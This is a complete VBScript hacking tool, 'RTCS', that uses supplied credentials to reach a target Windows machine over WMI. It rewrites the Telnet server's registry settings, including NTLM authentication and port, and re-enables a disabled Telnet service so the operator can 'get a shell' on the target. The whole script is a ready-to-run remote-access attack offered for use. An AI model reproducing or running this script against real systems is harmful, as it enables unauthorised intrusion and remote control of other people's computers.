on error resume next set outstreem=wscript.stdout if (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit end if if wscript.arguments.count<5 then usage() wscript.echo "Not enough parameters." wscript.quit end if
ipaddress=wscript.arguments(0) username=wscript.arguments(1) password=wscript.arguments(2) ntlm=wscript.arguments(3) port=wscript.arguments(4) if not isnumeric(ntlm) or ntlm<0 or ntlm>2 then usage() wscript.echo "The value of NTML is wrong." wscript.quit end if if not isnumeric(port) then usage() wscript.echo "The value of port is wrong." wscript.quit end if
usage() outstreem.write "Conneting "&ipaddress&"...." set objlocator=createobject("wbemscripting.swbemlocator") set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password) showerror(err.number)
outstreem.write "Setting NTLM="&ntlm&"...." set objinstance=objswbemservices.get("stdregprov") set objmethod=objinstance.methods_("SetDWORDvalue") set objinparam=objmethod.inparameters.spawninstance_() objinparam.hdefkey=&h80000002 objinparam.ssubkeyname="SOFTWARE/Microsoft/TelnetServer/1.0" objinparam.svaluename="NTLM" objinparam.uvalue=ntlm set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam) showerror(objoutparam.returnvalue)
outstreem.write "Setting port="&port&"...." objinparam.svaluename="TelnetPort" objinparam.uvalue=port set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam) showerror(objoutparam.returnvalue)
outstreem.write "Querying state of telnet server...." set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'") showerror(err.number) for each objinstance in colinstances if objinstance.startmode="Disabled" then outstreem.write "Telnet server has been disabled. Now changeing start mode to manual...." set objmethod=objinstance.methods_("changestartmode") set objinparam=objmethod.inparameters.spawninstance_() objinparam.startmode="Manual" set objoutparam=objinstance.execmethod_("changestartmode",objinparam) showerror(objoutparam.returnvalue) end if outstreem.write "Changeing state...." if objinstance.started=true then intstatus=objinstance.stopservice() showerror(intstatus) wscript.echo "Target telnet server has been STOP Successfully." else intstatus=objinstance.startservice() showerror(intstatus) wscript.echo "Target telnet server has been START Successfully!" wscript.echo "Now, you can try: telnet "&ipaddress&" "&port&", to get a shell." end if next
function showerror(errornumber) if errornumber<>0 then wscript.echo "Error!" wscript.quit else wscript.echo "OK!" end if end function
function usage() wscript.echo string(79,"*") wscript.echo "RTCS v1.10" wscript.echo "Remote Telnet Configure Script, by zzzEVAzzz" wscript.echo "Welcome to visite www.isgrey.com" wscript.echo "Usage:" wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password NTLMAuthor telnetport" wscript.echo "It will auto change state of target telnet server." wscript.echo string(79,"*")&vbcrlf end function